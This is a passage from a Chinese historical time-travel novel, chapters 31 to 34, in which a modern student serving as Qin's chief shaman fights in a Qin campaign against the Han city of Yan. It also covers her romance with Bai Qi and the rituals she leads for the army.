只不过这一次,她用的主号。 大秦司巫楚越。 营帐里里外外挤满了人,最内层的是楚越从前在军中的同袍,诙、白起等人,在往外,是同队但关系一般,仅能称得上与她相识的战友。 最外面,是看热闹的屯友,他们大多知道有‘张立春’这个人,又从别人口中得知,‘张立春’是个女人,还是秦国司巫,现在又出现在军营中,特意跑来看热闹。 消息一经传开,别的屯的将士听说有此事,直往他们这边跑,都想见见这位传说中的司巫。 “你是司巫?”诙惊得下巴都要掉下来了。 和自己打了一路对抗路、输出超高物理伤害的兄弟,居然是女法师。 “是啊。” 没错,她就是同时修习法术和武术,物理攻击与魔法攻击并重的大秦司巫楚越是也。 诙还想问,却听人道:“将军来了。” 人群裂开条通道,嬴华一身玄甲,信步而来,嬴轩铠甲峥嵘,跟在嬴华身后。见帐前围观人数众多,嬴轩呵斥道:“看什么?都散了!” 士卒们得令纷纷散去,帐中的诙与白起见势不对,朝嬴华、嬴轩拱手一礼后,也退了出去。 一时营帐中,只剩下楚越与嬴华、嬴轩三人。【你现在阅读的是 】 30-40 第31章 ‘割地求和’情侣打架怎么能论输赢呢…… 嬴轩上下打量楚越一眼,目光复杂,“你是真不怕死啊。” “你说什么呢!”楚越嫌弃道。 又来一个没情商的。 眼见两人又要吵起来,嬴华蹙眉,看了嬴轩一眼,斥责道:“轩弟。” 官大一级压死人,嬴轩不得不抱拳,向楚越致歉,“司巫,失言了。” 楚越翻了个白眼,嬴华无奈,教育道:“你俩同在军中效力,自当勠力同心,一言不合就吵起来,让士卒看见,如何作想?” 嬴华的声音里带了几分威严,俨然一副领军主将的端庄稳重模样。 “你以前不也这样。”楚越小声嘀咕道。 二十三岁的嬴轩,与当年初出茅庐的嬴华,不能说十分相似,只能说完全相同。 他梗着脖子跟别的将领拌嘴,两人被时任主将嬴操痛骂一顿,咬牙切齿握手言和的场景,尚且历历在目。 嬴轩没见过,不代表她没见过。 现在让她和嬴轩勠力同心?也亏他说得出口。 只许州官放火,不许百姓点灯,自己过了桥,就要把后面人的伞全部撕烂是吧? 嬴华被楚越这句话堵住了,“你” “她还敢非议主将,二十军棍!”嬴轩迫不及待对嬴华告状道。 “分明是你蓄意挑衅,你也挨二十军棍!” 楚越又不是不懂军法。 那就军法对轰。 “闭嘴!” 嬴华的声音里带了几分威严与愠怒,他依次瞪了两人一眼,见嬴华似乎真的动怒,楚越垂眸,不再说话。 嬴轩见势不对,也安静下去。 “你俩最好给我老实点。”嬴华沉了脸,声音中带了几分冰冷与坚决,“军法不容情,我是不会徇私的,在军中,王子犯法也与庶民同罪。” 嬴轩抱拳道:“是,将军。” 楚越也应道:“是。” 骂完两人,嬴华才说明此番来意,“我和嬴轩巡营路过,来看看你,一切都还好吧。” 原来是领导深入基层慰问,楚越当然要给领导面子。 “多谢将军关怀,属下一切都好。” 毕竟当了这么长时间的司巫,也算是浸淫官场多年,几句官样文章,还是信手拈来。谁料她话音刚落,一旁嬴轩‘噗嗤’声笑了出来。 嬴华看向 嬴轩,嬴轩当即告状,“将军,你看她对你说话的态度!” 态度怎么了? 她的态度不够诚恳吗? “他谗言构陷我,将军!”楚越也不甘示弱。 嬴华深吸口气,“来人!” 两个军士从外而入,“将军。” “嬴轩,你屡屡挑衅,十军棍。” 嬴轩不可置信道:“将军!” “再敢多言,二十军棍!”嬴华不容置疑道。 “还有你。”嬴华看向楚越。 楚越惊了一下,怎么还有她的事? “将军,都是嬴轩的错” 没等楚越说完,嬴华就打断了她的话,“你的账,本将暂且记下,回宫之后,自当禀明王后。你若再敢不遵我将令,这军中也便容不得你,我即日送你回去。” 他望着楚越,目光严肃。 不再是从前跟在兄长身后年轻莽撞的少年,而今的青年,已经长成,能够独自领兵,那张褪去少年青葱,逐渐坚毅的脸庞,神情也变得稳重。 举手投足,颇有大将风范。 楚越低头,“属下不敢不遵军令。” “最好是这样。” “将军,我错了。”嬴轩还想挣扎一下,两个军士却不由分说,架着他往外去。 军棍划破空气,落在脊背上的声音沉闷,没过多久,军士前来汇报,“将军,军法已经执行完毕。” 嬴轩一瘸一拐从外走进来,满脸不忿,却慑于军法威严,咬唇不语。 “行了,我还有军务在身,你若有什么事,可以直接来找我。” 楚越转过身,背对嬴华道:“哦。” 嬴华转身,走了两步,又似乎想起什么,回过头叮嘱楚越道:“要当心。” 她没有回头,随口应道:“知道了。” 脚步声远去,不多时又响起,楚越烦了,“你怎么又回来了。” 转过头来,却对上白起与诙两双发愣的眼睛。 诙眨了眨眼睛,看向身旁白起,有自知之明的指着自己问道:“我是不是不应该回来?” “不是。”楚越赶紧解释,“不是说你,我以为是” ‘嬴华’两个字到底没说出口。 白起歪头,“是谁?” “将军。” 楚越转过身,抱怨道:“我以为是将军,他烦死了,威胁我,若是不遵军令,就将我送回去。” 诙抓了抓头,“算了,我还是明天来找你吧。” 说罢,诙一溜烟的跑了。 帐中再无旁人,白起上前,短暂踌躇,终于鼓起勇气,轻轻从后抱住楚越,楚越转过身,靠在白起怀中,下巴搁在他肩头。 她似乎很难过,白起可以感觉到。 只是这难过,积压在心底,轻易无法觉察。若非她靠在自己肩头,不妨间流露出的一丝脆弱,白起也很难发现。 恰如那时在军营,她初次杀人,深陷梦魇而不自知,如溺水之人一般,抓住了自己。那时,她没有知觉,而现在,她是清醒的。 白起有些不知所措,手悬在空中,许久才轻轻落到她背上。 即便很想知道,他也并没有开口询问,而是静静抱着楚越,等着她先开口,与自己陈述这悲伤的来源。 “我觉得自己不像个好人。” “但好像回不了头了。” 两句话没头没尾,白起听得有些懵了,不知从何开解起,正在他思索之际,却听楚越道: “不管了,宁可我负天下人,不叫天下人负我。” 还是孟德的话对。 虽然嬴华对她越好,她越愤怒,越愤怒,越显得她不识好歹,恩将仇报,但这不要紧。 她以后就是楚.孟德.越。 没有道德。 白起更困惑了,握住楚越的肩膀,将她推起,不解地盯着她的眼睛。 楚越抿唇,凝视白起的眼睛,“你以后会负我吗?” “怎么忽然问这个?”白起满头雾水。 “会不会?”楚越逼问道。 从前看身边同学谈恋爱,见他们赌咒发誓,只觉得他们不可理喻,现在楚越才发现,不可理喻的是自己这个单身狗。 她们可太有道理了。 理解同学,成为同学,超越同学。 “当然不会,起绝非薄情寡义之人。”白起回答的认真,楚越见他神情严肃,将信将疑。 她靠在他肩头,轻声道:“你以后呢,哪怕做了上将军,也只能喜欢我一个人,连别的女子多看一眼也不能。” 此话一出,帐内陡然陷入片沉默,楚越见白起久不回答,心中陡然一沉,抬起头,审视的目光冷冽,“你不愿意?” 白起飞快眨了眨眼睛,困惑道:“什么?”又急忙解释,“没有。” “那你怎么不说话?”楚越逼问道。 “我在等你把话说完啊。”白起望着楚越的眼睛,“否则呢?” 一般此类要求话语,末尾都会加上一句威胁,比如,如果不遵守军规,就会挨军棍。 如果他不遵守楚越的要求,就会怎样? 白起的反问,恰好问到了楚越最无力的地方。 这个时代的法律条文,并不偏向她。 秦法只对庶人作出要求,贵族,不在大秦婚姻法管辖范围之内。周礼写的明明白白,公侯有夫人,有世妇、妻、妾【1】。 一个为国家征战,立下不世之功的封君,想娶几个姬妾,理所应当,谁也管不了。 她是很弱势的一方,真有那一日,她其实也什么也做不了。 “没有否则。”楚越有些丧气。 良久,她才风轻云淡道:“做不到就做不到,你做不到,会有人做到。不是一路人,强走到一起,只会成为怨侣,正所谓,相喣以沫,不如相忘于江湖。” 如果重蹈覆辙,那就再重头开始。 有什么大不了的? 白起望着楚越,一直等到她将所有的话说完,才启齿问道:“说完了吗?” 楚越想了想,似乎也没有什么要补充的,点点头,“嗯。” “说完了以后就不要再说了。” “为什么?” “你觉得我会是负心之人吗?”白起的反问声不大,却字字掷地。 他硬生生从楚越已经自问自答,说完的话中,找出一丝破局之机。 白起垂眸,锐利的目光,轻而易举便刺入楚越眼底,他视线里带着审视,和几丝说不清的情绪,楚越看不明白,一时不知该如何作答。 滚到白起脚边的皮球,被他飞铲回来。 现在这球滚到楚越脚下。 好问题。这真是个好问题。 若说可能,便是质疑白起的人品,若说不可能,她自己也不信。 “嗯?你说啊。”白起往前一步,逼问道。 楚越不由自主退了一步,腰碰上身后桌案,发出一声响动,白起却并没有停下的意思,依旧朝前迈了一步,“嗯?说啊。” 退无可退,楚越情急之下,一把捂住白起的嘴,“不许再问了。” 物理闭麦。 不许说了。 这么难的问题,只能她拿来为难他,怎么能是他用来为难自己,不许! 白起望着楚越,那几丝不明的情绪从他漆黑的眼底浮出,原是戏谑的笑意。 他是,故意的。 楚越捂住白起嘴的手垂下,用力砸在他胸口,“你耍我。” 白起被她锤得踉跄退了半步,清朗的笑声,在帐内响起,他望着楚越,笑出声来。 楚越望着笑出声的白起,咬唇,“白起,你死定了。” 她握着她沙包大的拳头就冲了上去,徒弟是师父教的,白起倒也不觑,他挡住楚越迎面一拳,反遏住她手腕,将她往前一拉,手肘格在她关节下,往上一抬,便牵制住楚越。 楚越被白起压制,上半身动弹不得。 “不打了,我输了。” 白起见她认输,笑着松开了手。 谁料他才松开手,楚越就反擒住了他一手,侧身往后一扭,白起被她偷袭,反剪住一臂, 往下压去。 “你使诈。” “兵不厌诈。”楚越认真道。 “我认输。” 楚越正欲松手,却又害怕白起如自己一般,一时松也不是,不松也不是。 “我都认输了,松手啊。”白起催促道。 楚越将信将疑,松开了手,果不其然,她刚松开手,下一瞬就被白起反制。 他自后钳制住楚越,一臂横在她脖颈,怕误伤她,仅仅握住了她一边肩膀。 “兵不厌诈只能用一次,那之后,交战的双方都会陷入无休无止的猜忌之中,战争,也是需要信誉的。” “我真认输了。” 白起松开手,等着他的,是楚越的第二次兵不厌诈,他无奈叹口气,“不打了,我真的认输了。” “我不信。” 白起无奈笑了,“那你也不能一直这么抓着我吧。” “我不信。” “我真认输了。” 见白起重复了两遍,楚越思索了下,手上的力气渐渐减弱,但下一瞬,她就坠入一道坚厚的桎梏之中。 他们两个的信誉积分已经扣完了。 谁也点不了投降。 楚越早料到这样的局面,面容异常平静,她镇定仰首,在白起脸上亲了一下,“我割地求和,不要再问了。” 打是打不过了。 那就认输吧,反正她又不是大王,没有土地割让。 忽如其来的一吻,白起脸上不免浮起阵羞涩,低头松开了手,他不再追问楚越那个令人无法作答的送命题,而是问道: “你怎么到这儿来了?” 这才是他来找楚越,想要问的事情。 先前楚越说会来找他,他感到困惑,却不想不久之后,她果真再次出现在军营之中。不过这一次,她没有用化名,而是用了原本的身份。 楚越拉住白起的手,走到席子边,两人并席而坐,楚越弯腰,枕在白起膝上,白起的手轻按在她的后背,以示安抚。 “我也是没办法才来的。” “发生什么事了?” 第32章 加更周末快乐 千言万语到嘴边,一时却不知该从何说起。 良久,她才道。 “我不想被别人支配,想将命运掌控在自己手里。” “那和你来军营,有什么关系?你不是司巫吗?” 司巫,掌群巫政令。 若是遇到大旱,便率领群巫求雨。 亏得秦国这几年风调雨顺,否则旱灾来了,她求雨无果,被人看穿伪装,那就坏了。 楚越叹口气,“你不明白。” 白起当然不会明白,自己这种在夹缝中找路往前走人的窘迫。他是实干家,和自己这种滥竽充数,务虚的人截然不同。 不是靠本事的吃饭的人,对老板有很强的依赖性,这依赖性,导致她受制于老板。要想摆脱被人控制的局面,必须增强自身实力。 有实力了,自然有别的老板重用。 老板逼迫,那就把老板炒了。 此地不留爷,自有留爷处。 大争之世,要做复合型人才,才能提高竞争力,得到更多老板青睐。 十六七岁,正是学习的黄金时期。 就她现在这个专业巫术而言,怎么升级?和什么行业融合比较好呢? 搞邦交?不行,她脾气不好,若是遇到不要脸的,还吵不过,她只想上去给人两巴掌,这于外交,只怕不利。 且列国文字繁复,方言众多,她不太精通,笑点还低,齐王一张口,吐出几句蹩脚的山东味雅言,她当庭笑出来,那就大事不妙。 搞内政?而今列国都已经变法,制度改革,编户齐民,律法完备,干内政的话,应该学法律,不是学巫术。 巫术在民间,也没有太多用武之地,即便有,也得是灵验的法师才能有生存空间,即便是灵验的法师,万一遇上西门豹这样的人 西门豹固然已经死了,但他的事迹流传下来,巫师早不是上古时期,能与王权掰手腕的存在,而今的他们,只是王权的附庸。 地方官都是读过书的,你敢忽悠百姓?带着妖妖灵就上门抓你来了。 种地?基建? 她又不是真的会法术,怎么不让她撒豆成兵呢。 天不下雨,她能怎么办?种子不结果,她能怎么办?渠怎么挖,工程怎么修,归物理管,她能怎么办? 她是文科生。这含金量不必多说。 留给楚越的道路不多,继续深耕秦军,将巫术和战争高度融合发展 这是人话吗? 这个班上的真累啊。 楚越不想干了。 她看向白起,“你快点当秦国上将军吧。” 让战争结束。 和平了,她就可以拿着她的千金存款,提前退休,过采菊东篱下这样惬意的田园生活。 白起垂眸,“这和你说的事情有关系吗?” 他当上将军,和楚越所求,有关系吗? “有啊,等仗打完了,我就能辞官归隐,到时候,我为你修一座铸剑炉,你没事打打铁,我呢,就要写很多很多东西,带进棺椁里,我要和喜一样,给后世人一个惊喜。” 考古学家打开喜的棺材,在里面发现大量文书,睡虎地秦简的发掘,对历史人而言,简直是天降珍宝。 她都不敢想,以后自己研究上自己,到底是个什么场景,那论文不得发到手软。 别说硕士论文了,就是博士研究方向都有了。 “我要养很多的鹅,拔下它们的羽毛做笔,毛笔有点软,我还是习惯写硬笔字。” 篆书藏头藏尾,毛笔不好写,楚越用布包了木杆,做成大号棉签,写得格外顺利。 白起望着伏在自己膝头,畅想将来的少女,漆黑的眼底,伤感一掠而过。 虽然不知道,她说的睡虎地、‘硬笔字’是什么,可白起还是轻轻摸了下她漆黑的头发,应道: “好啊,会有那一天的。等到战争结束了,就养很多鹅。” 大军驻扎在韩国城邑鄢城之外,邻近各郡县征发的辅兵,也陆续赶到,为大军修建工事。 古时作战,交战双方都会夸张声势,号称有几十万大军。 这几十万中,战兵的比例往往不大,更多的是辅兵,以及追随军队做生意的商贩,乌泱泱一大堆人,可不有几十万吗。 次日楚越奉将领去见帅帐途中,见到许多壮年女子,肩荷手提,齐心协力,正修筑工事。商鞅变法,以壮女为一军【1】,这些壮女,既可为辅兵,也能在守城时,作为主力。 帅帐外候着一批穿着异常艳丽的男女,从他们腰边布袋中装着的面具不难看出,他们是随军的术士。 见楚越来了,术士们纷纷垂首,一名衣着稍微低调的年轻女子走出,对楚越行礼道:“司巫。” 楚越打量了她一眼,见这女子上衣为白色,便知她是官巫,与这些术士不同。她微微颔首还礼,不久后,一批人从帅帐中走出,嬴轩出来,召楚越与一群方士进去。 战国时期,军队分工细致。 军中除主帅外,还有各种专业技术人才。 管计谋的腹心、谋士;主观察星象气候的天文;主了解地形的地利;司军事工程的股肱;司对外联络的通材; 还有搞谍报的耳目、对外宣传的羽翼,当间谍的游士;以及用迷信术鼓动士气术士,主管医疗的方士。还有最重要的会计——法算。【2】 既然来了,就要干活,秦军不养闲人,嬴华命楚越率方士,祭祀周围山川、河流,祈祷战争胜利,鼓舞大军士气。 先秦时期大多数国家是多神论国家,各信各的,他们也崇拜山川河流,认为有山神水神,到了人家的地盘,当然要虔诚借道,留下点买路钱。 山前、河边,搭建起简单的祭台,方士按男女、方位站定,带上面具,开始唱跳。 没有rap。 楚越正衣冠,展开竹简,念诵祭文,古文拗口,翻译一下,大概就是: Dear山神大人, 我们是秦国的军队,路过贵宝地,奉上买路财,希望您老人家保佑我们,此战顺利。 yours。Li秦国司巫,楚越。 焚帛之后,便是献祭,河流在东,山在西,楚越分别将祭祀东方的青圭和祭西方的白琥沉入水中、埋在山前。 主持完祭祀山水,接下来便是开战前的祭祀,只等主帅决定开战日期,通材传来将领,她们便开始装神弄鬼。 和山神、水神打完招呼,楚越回到营帐,远远的,便看到一大堆人等在外面,为首的人 熟悉,正是诙。 她想起昨天他来找自己,似乎是有什么事情。 “诙?”楚越叫道。 众人纷纷回首,无数道目光落在楚越身上,视线纷乱,有审视、期盼,还有怀疑,忽如其来的注视,令楚越一愣。 她看向诙,诙向众人道:“她便是司巫,是她救了我。”说完,诙又看向楚越,“司巫,我们想请你,为我们向神灵祈祷。” 此言一出,众人皆是一默,良久,才稀稀疏疏有几个人附和诙的话,抱拳请求道:“是,还请司巫,为我们祈祷。” 更多的人,还是保持着沉默。 显然,他们都还在半信半疑之间,为诙的话而心动,走到这里,却又因未曾亲身经历,不敢苟同。 人类的信仰建立在死亡之上,但死亡,又会摧毁这一切,惧怕死亡,所以宁可信其有,但见多了横死,于是怀疑神灵是否存在。 举手之劳的事情,楚越没必要拒绝,但为了引起不必要的麻烦,她回答的模糊。 “不日,我们将为战事举行祭祀,放心吧。” 三日之后,大军准备就绪,通材传来军令,命楚越于次日黎明为战事祭祀。 天尚未亮,楚越便穿戴整齐,出营帐时,却意外发现帐外摆了很多东西,有花、肉干、甚至还有一些钱币。 一枚枚秦半两,放在帐外石头上,分外显眼。 嗯? 拿她当许愿池里的王八吗? 去祭台的路上,满是正在整装集合的秦军,他们一手秦酒,视线却停在楚越身上,久久不曾离去。 生死未卜之际,一丝希望,聊胜于无。 那些目光,悲凉如秋霜,太阳一升起,便与无数人的生命一样,消失得无影无踪。 战鼓催催,刀兵的肃杀隐藏在黑暗之中,对面韩军,也擂起了战鼓。 楚越望着手中面具,傩舞的面具丑陋却威严,她凝视面具,脑海中却闪过一双双士卒的眼睛。 那些目光,期待,落在身上,过于沉重。 楚越想,自己必须要做些什么。 否则她晚上真的睡不着。 上台的最后一瞬,她将傩舞的面具交给了身边的官巫,而后风似的,往营帐方向跑去,她一边跑,一边扯下了头上繁复的饰物,丢在地上。 厚重的祭服落地,取而代之以戎袍。 楚越提着剑,出现在陷阵营中,上到屯长,下到寻常士卒,一时都愣住了,嬴轩最先冲了出来,拉住她,“你干什么!” 楚越甩开嬴轩的手,注视着他的眼睛,不容置疑道:“放开,我在陷阵营冲杀的时候,你还不知道在哪儿呢。” 军营是个讲资历的地方,比身份压不过嬴轩,楚越只能以资历让对方闭嘴。 果不其然,嬴轩说不出来话了,但他依旧倔强,“将军命你主持祭祀,你敢违背军令,还不快回去!小心挨军棍。” “王命我都敢违背,区区将令?” 嬴驷大还是嬴华大? “你!” 嬴轩无话可说,只能眼睁睁看着楚越站到了队伍之中,所有人都望着楚越,楚越只当没看到。 身边微微骚动,不多时,白起换到了她身边,抓住了她的手,楚越侧首,看向白起,白起深黑的眼中,目光坚毅,满是对她的支持。 那些期望的目光落在身上,太过沉重,楚越没办法再欺骗这些可怜的士兵,这是个没有神灵的时代,但她希望同袍能够活下去。 白起如之前一般,用革带将剑缠在楚越手上,他们并肩站在陷阵营之中,目视前方一片将明未明的朦胧,冲锋的号角声嘹亮,楚越跟着身边人一起,冲了出去。 祈祷无用,她能做的并不多。 第33章 司巫她是人民的司巫 能够从春秋留存到战国,进入乱世决赛圈的国家,都有着不容小觑的势力,韩国,也是如此。 韩人的劲弩,列国闻名, 天下强弓劲弩,大半从韩国出,韩人的兵器,锐不可当。 弩箭擦过楚越的手臂,她的剑也切断了韩人的脖颈,鲜血飚溅,楚越抹了一把脸上的血,低头看了一眼手臂的伤。 幸而箭只是擦着她的大臂而过,黑色戎袍一处被划烂,周边颜色渐深。 楚越只看了一眼,便继续将视线投向前方,目光坚毅似铁。城前开阔地带,韩军的旗帜,陆续倒下,白起支起秦军战旗,迎风展开。 不过半日,胜负便分,韩军不敌秦军,撤入城中。 楚越站在黄昏下,望着遍地尸骸,神情凝重,不知在想什么。 人群中,不知是谁喊了一声,“司巫!” 似乎是诙,但楚越四下看了一圈,却并未发现他的身影。 一石激起千层浪,越来越多的人看向她,如同当时在通往祭台的路上一样,那些目光从各方传来,聚焦在她一人身上。 他们望着楚越,陆陆续续几声‘司巫’接连响起,是从前与她同队的战友,还有白起。 于是更多的人被她吸引,视线从更远的地方传来,零零星星的呼声,在原野起伏,最终汇聚成一股,响彻在战后血红的天际。 嬴华循着呼声的方向,发现了楚越,他收了剑,大步走到她身边,众目睽睽下,他径直抓起楚越握剑的手,举在空中,喊道:“天佑大秦。” 一身戎袍轻甲,满身血污的少女,立于站在原野之上,她站在秦军之中,举起了手中的剑,黏稠鲜血,顺着剑尖所指的方向滴落 夕阳将她的身影不断拉大,黄昏,为她周身镀上层神圣的光环。 很快,关于司巫楚越的传闻,便经由专门对外宣传的羽翼,和游走各地、行间谍勾当的游士,以及军中专鼓舞士气的术士夸张的渲染,传遍秦军与韩军。 “天佑大秦”的声音,愈发雄壮,响彻如血黄昏,令秦军军心振奋的同时,也无形撼动鄢邑中韩军的军心。 嬴华举目,望向鄢城城头上,攒动的韩军人头良久,才松开她的手。 楚越的手从空中垂下,臂上立刻传来阵阵痛意,她侧首一看,伸手摸了下,掌心一片鲜红,她脸上露出痛苦之色,嬴华才觉察她受伤,连忙查看。 “没事,皮外伤。”他安慰楚越道,说罢,撕下身上一截披风,扎在她伤口上。 “让方士为你处理一下就好了。” “哦,应该不疼吧?” 嬴华看了她一眼,不确定道:“应该吧。” 处理伤口能有多疼,楚越想。 方士是个年轻女子,二十出头模样,结发为髻,她当着楚越的面,拿出了一瓶酒。 楚越脸色一变。 女方士又拿出了盐,兑入了热水中。 楚越眼睛瞪得像铜铃。 知道酒和盐水能处理伤口,这很先进,她很欣慰。 但,这真是要撒到她伤口上的吗? 撒盐和酒,总要挑一个,她选择,和。 正欲讨价还价,女方士对一旁协助她的两个壮女道:“按住她!” 楚越大惊失色,“啊?!” 军医,通兽医,战场上时间就是生命,这群风风火火的方士,从不与人叽歪。 毕竟军营里,不缺按人的力士。 故而他们方士最常说的话无过于三句。 “按住他!” “把他的嘴堵起来!” “好了抬走下一个!” 作为司巫,楚越受到些许优待,比如,女方士说完‘按住她’,还会在末尾缀上一句“抱歉”。 多有礼貌的兽医。 楚越只觉身后一紧,一个壮女自后,将楚越桎怙,轻车熟路抓住了她的手,另一个壮女,按住了她的腿,两人配合默契,可见之前一直协作。 “啊!” 惨叫声不会消失,只会转移,不在战场上叫出来,早晚会在别的地方喊出,秦军的方士,比韩锐士残暴 多了。 麻药啊。 给打点麻药吧。 不然给她物理麻醉一下也可以。 女方士处理伤口的动作很敏捷,或许也是觉得楚越的叫声太大,为自己的耳膜计,不能有分秒耽误,所以不过片刻,便将楚越的手臂包扎好。 “好了下一个。” 楚越穿好衣服,走了出去,嬴华还等在外面,几个都尉,在同他汇报军情,他表情镇定,听着,不时点头,一副运筹帷幄的大将模样。 时间,过得太快了。 十年弹指一挥间,十七岁的嬴华,与二十七岁的嬴华,外表看起来没什么变化,依旧英气盎然,只是少了少年青涩,多了成熟稳重。 他就站在那里,便无端吸引人的目光。 楚越望着他,有些恍然,嬴华交代完属下,一转头,恰好对上楚越的视线,她站在帐篷边,望着自己。 视线相撞,时间呼啸而过,他们望着彼此,旧有的一切情愫,被按耐于心,一时眼底,只剩下惆怅。 “你的事,嬴轩已经跟我说了。” “死嬴轩。” 怎么好好一个大小伙子,这么爱告状。 “嬴轩为你求情,说你作战英勇,让我不要送你回去。” 楚越愕然,“他为我求情?” 嬴华点头,“嗯。” 他还想再说些什么,过问楚越的伤势,身后却传来白起的声音,“楚越。” 他一路跑了过来,越过嬴华,直奔楚越。 青葱少年,比肩而立,眼中只有彼此,简直是佳偶天成。嬴华望着两人,心中空缺的那一部分,愈发明显,他困惑蹙眉。 天边残霞如火,仲夏日的晚风,迎面而来,强烈的熟悉感,冲击着他的感官。嬴华又想起了那个梦,那个自己十七岁时,曾做过的噩梦。 那噩梦清晰的像是真实发生过一般,也是这样一个残阳如血的傍晚,他战死沙场,世界陷入黑暗,不知过了多久,一阵熟悉的招魂曲,指引他溯源而上。 睁开眼睛,他发现自己正躺在一片松软的草地中打盹。 初入军营,周围的一切都那么令人激动,身上的盔甲、身边的同袍的脸,即将触手可得的战功。 还有 还有什么呢? 正在他思索之际,忽然有寺人来传他,“公子,大王召见。” 小小的姑娘,站在宫檐之下,垂头丧气,他眼前一亮,不知怎么,他觉得自己似乎找到了什么。 他不知道自己找到了什么。 一如他今天不知道自己失去了什么。 有时候,感觉和梦境一样怪异,他只当是自己初次领兵,太过劳累所致。 “你照顾好她。”嬴华叮嘱了白起一句,便转身离去。 白起这才想起一旁嬴华,抱拳道:“是,将军。” 韩军不敌秦军,退守城内自保,攻城的器械,被抬了上来,无数战士,在盾牌护卫下,前仆后继,冒着箭雨而上。 他们身后,战壕中密密麻麻涌动的,是修补工事、抢救伤员、搬运攻城器械的壮女军。 一个壮女执盾,掩护在前,另一个壮女在后,拖回重伤垂死的秦军士卒,方士为他处理伤口,如此循环往复。 韩军根本顶不住秦军,次日黎明,鄢城便破,大军入驻,暂做休整。 轻伤不下火线,火线上走一圈,楚越的伤口又裂开了,血渗出来,染红绷带,被一旁诙发现,“楚越,你的伤。” “我没事,你先看你自己的腿。” 诙的小腿被韩军陷阱所伤,鲜血淋漓,他咬着牙,云淡风轻道:“没事,小伤。” 他走的一瘸一拐,楚越伸手扶了他一把,诙起初还有所顾忌,但腿实在疼的厉害,只能接受了楚越的搀扶。 离得近了,楚越问诙道:“是你干的?” 诙看了楚越一眼,“救命之恩,总不能不报,我不喜欢欠别人的。” “还真是你!” 战场上率先喊出‘司巫’的,真的是诙。 “秦制,女子不能受爵,你来战场,肯定不是为了爵位。我不知道你要什么,但以你司巫的身份,声望,多了比少了好,这对秦军也有利。” 楚越诧异看了一眼诙,她想用的,也正是这个办法,只是才刚付诸行动,便被诙抢先一步实施。 诙继续道:“你不给我机会报答你,我当然只能用自己的方式报答。以后,我不欠你的了。” 楚越想了想,问诙道:“你愿意做我的舍人吗?【1】” “当然。”诙答应的十分爽快,似乎就等着楚越这番话。 楚越有些吃惊,“怎么答应的这么快?” 按道理来说,不应该是军功更靠谱吗?与人做门客,岂非受制于人。尤其,还受制于一个女人。男人,不都非常重视尊严? 诙斜了他一眼,“你以为我愿意打仗吗?” 两人走到方士帐外,外面等候的人很多,两人正排队,忽听里面传来阵泼辣的女声,“急急急,就你急,这里的人哪个不急?出去!” 听声音,像是之前为她处理伤口的女方士。 “好一个悍妇。”有人腹诽了声。 当即有人接话道:“你们少惹她,她可是大夫寡。” 此言一出,四下皆寂。 秦军功爵能够继承,无子则妻成为第一顺位继承人,继承亡夫爵位的女子,便称作某爵寡。这些寡妇,往往也是一家的户主。【2】 在等级分明的秦国,位列第六级的大夫寡,不是他们这种低爵之人能惹得起的,前面的人被骂了,也不敢还嘴,只能垂头丧气出来排队。 相同的经历,可以拉近人与人之间的关系,这一战后,楚越不仅仅是司巫,而是秦军自己的司巫,是他们的同袍、战友司巫。 血一样洒在地上,他们才是一样的人。 这样做,代价也是有的。 她的胳膊,真的好疼。 楚越扑进白起怀中,“我就不该选文科,呜呜呜呜。” 但凡当年选了别的专业呢。 农学,今天她就是大司农,工学,她今天就是大国工匠,医学,今天她就是扁鹊。 可是她学了文 又遇上一群功利的战国大王,只晓得变法强国,根本不关心诗词歌赋,也不关心文化,倒逼她只能装神弄鬼。 楚越靠在白起坚厚的怀中,咬牙切齿道:“我一定要留下墓志铭,劝后人不要学文,学文没有出路!” 白起听不懂她在说什么,低头看向她的眼睛,见她因为疼痛而愤慨不已的模样,只觉心疼又好笑。他抱紧她,下巴摩挲她发顶。 “好了,不生气了。” 楚越的伤口恢复得很好,没有感染,也没有发烧,几天之后,伤口就自动结痂。 战争胜利,阵亡秦军将士的尸首,陆续被搬运、清理出来,准备安葬。 屈原做《招魂》,安抚阵亡将士灵魂,秦军也有类似的仪式,能通鬼神的司巫,再一次成为秦军视线的凝聚点。 秦人视死如生,相信灵魂的存在,故而葬礼中,招魂是必不可缺的一环,如有人去世,便以巫手执亡者衣物,登上高处,呼唤灵魂归来。 他们希望能活下去,如果已经死了,也希望死后,依旧能如活着时一般。他们将残破的念想,寄托于巫祝。黄昏已至,黑暗即将来临,漫漫长夜,楚越似乎成为他们唯一的光。 要是她真能发光就好了。 楚越想。 可她是假的,她甚至不相信这个世上有鬼神。 为死于国事战士安礼亡魂的典礼庄重而严肃,楚越与巫、祝着白衣、黑裳,分列祭台两边。 暮色渐沉,月将升。 时辰一到,鼓声点点,以做先驱,肃穆乐声,幽幽响起,秦军的战旗,被力士挥舞,猎猎飘荡空中,随着招魂典礼的开始,此起彼伏的呼唤声,从亡者的战友口中唤出。 官巫,唱起招魂之曲。 数声招魂之后,众人动手为亡者敛尸。 秦人风俗与中原不同,葬法多为曲肢葬,尸骨摆成如婴儿蜷缩模样,葬入黄土。【3】 尸体屈置棺中,摆放整齐,恰如他们生前一般,列队整齐。 尸体装入棺中,以绳 扎紧,墓坑早在白日就挖好,楚越执火把在前,往墓坑中而去,她身后,是一具一具棺木。 棺材一离地,戴方相氏面具的祝官立刻手执法器,跳起傩舞,以驱凶鬼,为亡者开路。 每走几步,便有一名手执火把的秦军将士停下。等棺材被放在指定位置,偌大的土坑,也被火光照亮,坑上的秦军,最后再看了一眼坑底棺材,与他们的战友道别。 随着送葬队伍陆续离开,深坑再度沉寂于黑暗中,黄土,悄然盖了上去,葬礼完成,军吏的竹简也发了出去。 地方官员将会完成后续的爵位继承、抚恤任务。 黑夜吞噬生命,待到黎明太阳升起,新的一天又重新开始,平原茫茫,秦军已经完成新一度的整编,蓄势待发。 第34章 婼女方士、大夫寡,婼 入驻鄢城,大军修整,楚越开始组织语言,想去找嬴华,将诙要到自己手下。 人事调动,应该是需要流程的,但这跨组织调动编制的流程究竟是什么,她也不知道。 也不知道诙有没有档案,调过来之后是什么入职手续。 好麻烦。 得找个人全权负责一下。 但她还未去找嬴华,通材先来传令,嬴华召她议事。 鄢城府衙中,一张巨大的地图,悬挂在墙壁上,文吏来往,忙碌清点着鄢城文书,土地、人口。 楚越到时,嬴华正叮嘱属下,要约束将士,不可与鄢百姓起冲突。也要提高警惕,以防城中有韩间挑拨滋事。 见他正交代事情,楚越便先退在一边,看起墙上那地图来,国家与国家接壤,边界分明,参差如犬齿交错。 